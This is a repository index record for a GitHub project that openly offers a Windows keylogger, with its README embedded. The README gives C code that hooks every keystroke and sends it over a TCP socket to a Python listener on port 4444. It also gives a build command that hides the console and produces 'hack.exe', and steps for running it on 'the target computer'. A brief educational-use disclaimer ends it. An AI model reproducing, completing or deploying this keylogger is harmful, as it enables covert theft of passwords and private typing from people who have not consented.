{"id":28201947,"url":"https://github.com/morphykutay/keylogger","last_synced_at":"2025-06-13T01:31:12.155Z","repository":{"id":292410335,"uuid":"980778137","full_name":"MorphyKutay/Keylogger","owner":"MorphyKutay","description":"This project is a remote keyboard monitoring system that runs on Windows operating system","archived":false,"fork":false,"pushed_at":"2025-05-09T19:23:24.000Z","size":20,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-05-16T23:13:40.363Z","etag":null,"topics":["c-malware","keylog","keylogger","keylogger-python","keylogger-script","malware","malware-analysis"],"latest_commit_sha":null,"homepage":"","language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/MorphyKutay.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-05-09T17:42:36.000Z","updated_at":"2025-05-09T19:23:27.000Z","dependencies_parsed_at":"2025-05-09T20:40:42.886Z","dependency_job_id":null,"html_url":"https://github.com/MorphyKutay/Keylogger","commit_stats":null,"previous_names":["morphykutay/keylogger"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/MorphyKutay/Keylogger","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MorphyKutay%2FKeylogger","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MorphyKutay%2FKeylogger/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MorphyKutay%2FKeylogger/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MorphyKutay%2FKeylogger/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/MorphyKutay","download_url":"https://codeload.github.com/MorphyKutay/Keylogger/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MorphyKutay%2FKeylogger/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":259561595,"owners_count":22876839,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["c-malware","keylog","keylogger","keylogger-python","keylogger-script","malware","malware-analysis"],"created_at":"2025-05-16T23:13:41.198Z","updated_at":"2025-06-13T01:31:12.145Z","avatar_url":"https://github.com/MorphyKutay.png","language":"C","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Remote Keyboard Monitoring System\n\nThis project is a remote keyboard monitoring system that runs on Windows operating system. The system consists of two main components:\n\n1. **Keyboard Monitor (main.c)**: A C program running on Windows that captures keyboard inputs\n2. **Server (host.py)**: A Python server program that receives and logs the captured keyboard inputs\n\n## Technical Details\n\n### Client (main.c)\n- Uses Windows Low-Level Keyboard Hook (WH_KEYBOARD_LL) for keyboard monitoring\n- Implements a callback function (KeyboardProc) to process keyboard events\n- Establishes TCP socket connection with the server\n- Uses Winsock2 for network communication\n- Compilation flags:\n  - `-s`: Strip symbols for smaller binary size\n  - `-ffunction-sections -fdata-sections`: Enable function and data section optimization\n  - `-Wno-write-strings`: Suppress string literal warnings\n  - `-fno-exceptions`: Disable exception handling\n  - `-fmerge-all-constants`: Merge constants for optimization\n  - `-static-libstdc++ -static-libgcc`: Static linking of C++ and GCC libraries\n  - `-fpermissive`: Allow non-standard C++ code\n  - `-mwindows`: Create Windows GUI application (no console window)\n  - `-lws2_32`: Link with Winsock2 library\n\n### Server (host.py)\n- Implements a TCP server using Python's socket library\n- Listens on port 4444 for incoming connections\n- Handles client connections asynchronously\n- Logs received data to 'remote_keys.txt' file\n- Uses UTF-8 encoding for data handling\n- Implements error handling for connection issues\n\n## Code Explanation\n\n### Client Code (main.c)\n```c\n// Global variables\nHHOOK hook;          // Handle to the keyboard hook\nLPMSG msg;           // Message structure for Windows messages\nbool runThread;      // Control flag for the main loop\nSOCKET sock;         // Socket for network communication\n\n// Keyboard hook callback function\nLRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam) {\n    // Process keyboard events when key is pressed\n    if(code == HC_ACTION \u0026\u0026 wParam == WM_KEYDOWN) {\n        KBDLLHOOKSTRUCT* p = (KBDLLHOOKSTRUCT*)lParam;\n        // Convert virtual key code to character\n        char buffer[256];\n        DWORD key = p-\u003evkCode;\n        char ch = MapVirtualKeyA(key, MAPVK_VK_TO_CHAR);\n        // Send the captured key to server\n        snprintf(buffer, sizeof(buffer), \"key pressed: %c\\n\", ch);\n        send(sock, buffer, strlen(buffer), 0);\n    }\n    return CallNextHookEx(hook, code, wParam, lParam);\n}\n\n// Socket initialization function\nbool initSocket(const char* ip, int port) {\n    // Initialize Winsock\n    WSADATA wsa;\n    struct sockaddr_in server;\n    // Create socket and connect to server\n    // Returns true if connection successful\n}\n```\n\n### Server Code (host.py)\n```python\n# Server configuration\nHOST = ''           # Listen on all available interfaces\nPORT = 4444         # Default port number\nOUTPUT_FILE = 'remote_keys.txt'  # Log file name\n\n# Main server loop\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n    s.bind((HOST, PORT))\n    s.listen(1)\n    # Accept client connection\n    conn, addr = s.accept()\n    # Process and log received data\n```\n\n## Configuration\n\n### Client Configuration\nBefore compiling the client, you need to modify the following in `main.c`:\n```c\nconst char* ip = \"192.168.1.100\";  // Change to your server's IP address\nint port = 4444;                   // Change if using different port\n```\n\n### Server Configuration\nThe server's port can be modified in `host.py`:\n```python\nPORT = 4444  # Change to match client's port\n```\n\n## Features\n\n- Real-time keyboard input capture\n- Remote server data transmission\n- Automatic connection management\n\n## Requirements\n\n### Keyboard Monitor (main.c)\n- Windows operating system\n- MinGW or Visual Studio (for compilation)\n- Winsock2 library\n\n### Server (host.py)\n- Python 3.x\n- socket library (Python standard library)\n\n## Installation\n\n1. Server side:\n```bash\npython host.py\n```\n\n2. Client side (main.c):\n```bash\ng++ main.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -mwindows -lws2_32\n```\n\n## Usage\n\n1. First, start the server program:\n```bash\npython host.py\n```\n\n2. Run the client program on the target computer:\n```bash\nhack.exe\n```\n\n3. While the program is running:\n   - All keyboard inputs are sent to the server\n   - Captured keys are saved in `remote_keys.txt` file\n\n## Security Warning\n\nThis program is for educational purposes only. Unauthorized use on others' computers may be illegal. Only test on your own systems or systems with proper authorization.\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmorphykutay%2Fkeylogger","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmorphykutay%2Fkeylogger","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmorphykutay%2Fkeylogger/lists"}